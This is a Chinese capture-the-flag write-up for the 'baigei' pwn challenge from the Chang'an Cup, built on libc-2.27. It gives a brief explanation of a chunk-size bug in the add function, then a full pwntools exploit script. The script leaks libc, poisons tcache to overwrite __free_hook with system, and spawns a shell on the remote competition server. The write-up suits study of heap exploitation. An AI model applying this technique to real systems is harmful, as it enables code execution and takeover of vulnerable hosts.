长安杯WP

前言: 太菜了,长安杯就出了这一道题

baigei

libc为libc-2.27
add函数里面有漏洞,可以先创建一个符合条件的堆,然后再add一个大堆,这样之前的那个堆的大小就
被修改为大堆的了,然后就可以随便做了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

#p = process("./pwdPro")

p = remote("113.201.14.253",21111)

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"
libc = ELF("./libc-2.27.so")

def add(idx,size,con):
p.recvuntil(">>\n")
p.sendline("1")
p.recvuntil("idx?\n")
p.sendline(str(idx))
p.recvuntil("size?")
p.sendline(str(size))
p.recvuntil("content?")
p.send(con)

def add1(idx,size):
p.recvuntil(">>\n")
p.sendline("1")
p.recvuntil("idx?\n")
p.sendline(str(idx))
p.recvuntil("size?")
p.sendline(str(size))

def free(idx):
p.recvuntil(">>\n")
p.sendline("2")
p.recvuntil("idx?\n")
p.sendline(str(idx))

def edit(idx,size,con):
p.recvuntil(">>\n")
p.sendline("3")
p.sendline(str(idx))
p.recvuntil("size?")
p.sendline(str(size))
p.recvuntil("content?")
p.send(con)

def show(idx):
p.recvuntil(">>\n")
p.sendline("4")
p.recvuntil("idx?\n")
p.sendline(str(idx))

add(0,0x38,"aaaa")
add1(0,0x500)
add(1,0x48,"bbbb")
add(2,0x400,"bbbb")
add(3,0x20,"/bin/sh\x00")

edit(0,0x40,"a"*0x38 + p64(0x461))
free(1)
add(4,0x48,"aaaa")
show(2)
p.recvuntil("2 : ")
ad = u64(p.recv(6).ljust(8,"\x00")) - 96 -16 -libc.sym["__malloc_hook"]
log.info("ad: " + hex(ad))

sys_ad = ad + libc.sym["system"]
free_hook = ad + libc.sym["__free_hook"]
log.info("free_hook: " + hex(free_hook))
free(4)
edit(0,0x50,"a"*0x38 + p64(0x51) + p64(free_hook))
add(5,0x48,"aaaa")
add(6,0x48,p64(sys_ad))
free(3)

p.interactive()